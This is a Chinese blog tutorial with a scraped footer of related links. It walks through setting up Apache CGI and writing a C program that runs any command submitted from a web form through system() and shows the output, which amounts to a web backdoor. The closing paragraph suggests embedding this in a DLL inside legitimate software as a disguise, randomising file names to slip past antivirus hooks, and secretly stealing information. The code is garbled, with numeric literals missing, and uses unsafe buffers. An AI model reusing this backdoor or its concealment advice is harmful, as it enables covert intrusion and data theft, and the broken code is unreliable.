c/c++----网站及其后门(CGI应用程序)
C/C++学习到这儿，结合自己曾经学过的javasweb知识，现在让我们来看看，如何做一个CGI程序吧！
首先了解一下啥子叫CGI ：CGI全称是“公共网关接口”(Common Gateway Interface)，HTTP服务器与你的或其它机器上的程序进行“交谈”的一种工具，其程序须运行在网络服务器上。 ----来自百度百科
1. 首先，我们需要 Apache server2.0（学习web，应该必须知道这个的，嘻嘻），安装好该软件之后，也许会出现很多的问题，导致打不开什么的。喵了个咪的，博主本人曾经也是搞了老半天，不过最后，还是搞定了！
（1）. 其实主要情况，我遇到就两种，第一种,就是我们为了节约开机时间，将IIS关闭了，或者有些侠客直接将它卸载了！ 所以导致打不开！
-----------------------面对这种问题，下一个就好了！ Apache server2.0 需要 IIS 配合。
(2). 第二种就是80端口被占用了，这是最容易发生的情况没有之一。 解决的方法有很多，但是个人比较喜欢这样来搞。
cmd --》 net -ano --->查看那些占用了80端口（一般是浏览器什么的居多） 几下他们的 PID ,然后在进程管理哪儿关闭就好了！
上面的Apache server 运行起来之后，就在浏览器中 敲入 localhost ，会显示一个
然后修改一个，http.cof文件
找到俩个位置：
第一个位置： # AddHandler cgi-script .cgi 将这个语句的前面#注释符去掉
第二个位置：
<Directory "D:/Program Files/Apache Software Foundation/Apache2.2/cgi-bin">
AllowOverride None
Options None -----将这个位置替换为： Options Indexes ExecCGI
Order allow,deny
Allow from all
</Directory>
这两个位置配置好之后。就可以用C/C++编程了！
第一步：我们编写一个这样的文件
#include<stdio.h>
int main(int args ,char * argv []) { printf("Content-type:text/html\n\n");
printf("hello world ! 我是cgi ");
getchar();
return ;
}
编译，生成一个这样的 hello.exe文件、生成之后，我们将hell.exe的属性改为 hello.cgi
然后将其放置到，自己安装的Apache server2.0文件中的cgi-bin文件下
在浏览器中，再输入，localhost/cgi-bin/hello.cgi 就可以看到这样的画面
2. 那么说了这么多，我们又该用c/c++写一个cgi来做后台，在背后来操作这个数据呢！
首先，我们需要写一个html，做个web的，对于这些当然，是再easy不过了！ 为了节约时间，就写一个简陋点的html吧！！
诺，看！
<html>
<head>
<title>后台</title>
</head> <body>
<h1> 后台界面</h1>
<form action="http://localhost/cgi-bin/gxjun.cgi" method="post" id=CGI > 请输入命令cmd： <input type="text" name="textlist" /><br><br>
<input type="submit" /><br>
</form>
<hr>
<body>
</html>
这个界面的运行的效果，如下图：
当然，这个当我们在做web的时候，这个是可以内嵌到，我们的项目中的！在于你将这个jsp放到哪个地儿啦！
最后就是重点了！ 就像我上面写的cgi一样！ 写一个下面这样的代码：
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
//#include<stdexcept>
#include<windows.h> //以调用System为举例
void func(char ps []) {
// ps 为cmd命令
char *pl = strchr(ps,'='); //pl指向当前的位置
if(pl!=NULL) ps = ps + (pl-ps+);
printf("命令cmd = %s\n", ps);
char cmd[] = {'\0'};
char filename[] = "Gxjun.txt"; //暂定放置于当前目录。
sprintf(cmd,"%s > %s ",ps,filename); //将ps的内容写入cmd中
//生成了一条指令
//无论是否执行成功，都会生成一个Gxjun.txt文件
FILE *fp = NULL;
int tag=system(cmd);
if (tag == ) {
printf("命令格式错误！，请重新输入： ");
goto loop;
}
if ((fp = fopen(filename, "r")) == NULL) {
printf("没有发现文件！");
goto loop ;
} while (!feof(fp)) {
char str=fgetc(fp);
if (str == '\n') printf("<br><br>\n\n");
else if (str == ' ')printf(" ");
else
printf("%c",str);
} loop:
if (fp != NULL){
fclose(fp);
//并删除备份的文件
system("del Gxjun.txt");
}
return ;
} int main(int args ,char * argv []) { printf("Content-type:text/html\n\n");
//打印环境变量
printf(" %s<br><br>", getenv("QUERY_STRING"));
char szPost[] = {'\0'};
gets(szPost); //获取输入
if ( strlen(szPost) < )
strcpy( szPost , "ipconfig" );
func(szPost);
getchar();
return ;
}
编译之后，形成hello.exe改成将.exe属性改为hello.cgi文件，放置到cgi-bin目录中，当然，如果有服务器，之间放到服务器中就可以看！ 就像这样
3.打开浏览器，输入类似这样的如下图：
输入一个 tasklist之后，得到这样一个页面显示：
输入： ipconfig 之后得到的画面：
好了！ 关于，网站后台的知识，大概就这么多了！ 写的比较操蛋！ 当然，还可以无限的加精！ 这个，得看，你能花多少时间在这个上面了！ 做的精华了，你就是一个Ｈａｃｋｅｒ！
当然，其实这个技术，不仅仅仅限于ｗｅｂ这方面，可以适应任何软件，我们可以生成一个lib/dll文件，然后#progma(lib,"**.lib");这样的宏命令，嵌入到我们的软件中，利用这个存在的软件，作为幌子，可以暗暗的操控被人的系统的！ 当然也可以再写一个dll文件，来执行相应的操作的！这样的话，就需要加入很多的随机元素，比如文件生成不能再是Gxjun,txt，而应该是随机的生成，路径随意的生成，，当然这些都是很容易实现的，这样很容易躲过360的钩子这个流氓软件！ 然后对别人 的软件偷偷的窃取信息什么的！！ 当然，有３６０把关最底层，你所做的行为不可能逃过它的的监控，唯一的方法就是花钱，让360放行，等等！ 当然，我们还是可以通过下载者自己放行就可以了（虽然会被拦截）！
－－－－－－－－－－－－－－－－以上都是依据本屌实际操作可行，以及学习得到的经历，分享出来，供大家参考，如果有误，欢迎，严厉带着苛刻的指正！谢谢！－－－－－－－－－－－－－－－－－－
c/c++----网站及其后门(CGI应用程序)的更多相关文章
- Microsoft Azure Web Sites应用与实践【4】—— Microsoft Azure网站的“后门”
Microsoft Azure Web Sites应用与实践 系列: [1]—— 打造你的第一个Microsoft Azure Website [2]—— 通过本地IIS 远程管理Microsoft ...
- 菜鸟疑问之新建网站与新建web应用程序区别
学习asp.net一定少不了这困惑:新建网站与新建web应用程序有什么区别? 新建web应用程序 新建网站 呵呵,其实从名字看一个是webApplication,一个是webSite.名字不同罢了? ...
- 集成自动化的条形码功能到internet应用程序，网站或自定义Java应用程序的条码控件Java Barcode Package
Java Barcode Package控件是一款条码生成控件,包含所有的JavaBean,Applets,Servlets和类库可以使用于装有Java虚拟机的任何平台,包括Windows®, Lin ...
- ASP.NET网站与ASP.NET应用程序的区别
我们使用VS做ASP.NET的时候,可以选择新建ASP.NET应用程序,同时也可以新建ASP.NET网站,两者有什么具体区别呢?今天真是很幸运,比别人多上了老师一节课,讲的是这两者之间的一些区别.我学 ...
- 基于JAVA WEB技术旅游服务网站系统设计与实现网上程序代写
基于JAVA WEB技术旅游服务网站系统设计与实现网上程序代写 专业程序代写服务(QQ:928900200) 随着社会的进步.服务行业的服务水平不断发展与提高,宾馆.酒店.旅游等服务行业的信息量和工作 ...
- ubuntu chrome 无法从该网站添加应用，拓展程序或脚本
昨天装好ubuntu 18.04 lts版本后,下载了chrome( 版本 68.0.3440.106)和SwitchyOmega,本来计划离线安装,结果提示“无法添加来自此网站的应用.扩展程序和应用 ...
- 搭建简单的CGI应用程序
原文来源于<核心编程3>第10章web编程 一.静态文件+脚本文件 1.首先开启cgiweb服务器 python2 -m CGIHTTPServer 8000 看到如下反应 2.服务器目录 ...
- 【以前弄的老东西】DLLspy超犀利后门 （源代码+程序+使用手册+二次开发文档）
这个玩意儿是很久之前的整的.一直没有做完,但是基本功能和框架都做好了,现在发出来,希望有能力的家伙一起完成.DLLspy,绝对免杀,隐藏,HTTP请求劫持,居家旅行,杀人放火必备良药.有时间我会继续开 ...
- 来选择一款适合你网站的CMS建站程序吧
1:首页我们要搞清楚什么叫cms? ContentManagementSystem就是cms的全名,意思就是内容管理系统.cms整站系统是以文章系统为核心,增加用户需要的模块,如文章.图片.下载等,提 ...
随机推荐
- C++ const 的全面总结[转]
C++中的const关键字的用法非常灵活,而使用const将大大改善程序的健壮性,本人根据各方面查到的资料进行总结如下,期望对朋友们有所帮助. Const 是C++中常用的类型修饰符,常类型是指使用类 ...
- 【转载】使用C#进行系统编程
原文:使用C#进行系统编程 虽然对于系统编程(System programming)的定义很模糊,不过可以将其描述为在比特.字节.指令,或CPU周期层面所进行的思考.系统编程这个概念也暗含了对性能和可 ...
- jQuery函数attr()和prop()的区别，val()
[自己总结,详情见下面转录的文章]: attr()用于操作html属性,prop()属性用于操作DOM属性 ①: 很多情况下可以互用 ②:attr()独自适用的情况,自定义的html属性,html属性 ...
- Java——再看IO
一.编码问题 utf-8编码中,一个中文占3个字节,一个英文占1个字节:gbk编码中,一个中文占2个字节,一个英文占1个字节. Java是双字节编码,为utf-16be编码,是说一个字符(无论中文还是 ...
- Building，Packaging，Deploying，and Administering Applications and Types
buliding types into a module: response files: the IL disassembler:ILDasm.exe add assemblies to a pro ...
- FZU 2212 Super Mobile Charger（超级充电宝）
[Description] [题目描述] While HIT ACM Group finished their contest in Shanghai and is heading back Harb ...
- windows下的Git简单入手
现在再搞golang,用go get github.com/xxx 命令使需要git.提交新项目到github.com也要git,老东西了,呵呵现在也要学习一下. 下载windows版的git. ·准 ...
- jQuery细节总结
1.mouseover和mouseenter 区别 mouseenter指鼠标进入元素时触发,鼠标在元素子元素上不触发. mouseover指鼠标进入元素时触发,在元素进入子元素会触发. 在此引用一个 ...
- [转]-Gradle使用手册（三）：构建任务
原文地址:http://tools.android.com/tech-docs/new-build-system/user-guide#TOC-Using-sourceCompatibility-1. ...
- BestRW团队项目创意以及NABCD
一.写在前面 这次的团队项目我们队选到的是自由选题,与其说是选,不如说是分配.毕竟我们组游戏排名倒数第二···其实当我第一次听说我们队排倒数第二的时候我是有点不爽的,毕竟在这后面能够抽到的题目都是剩下 ...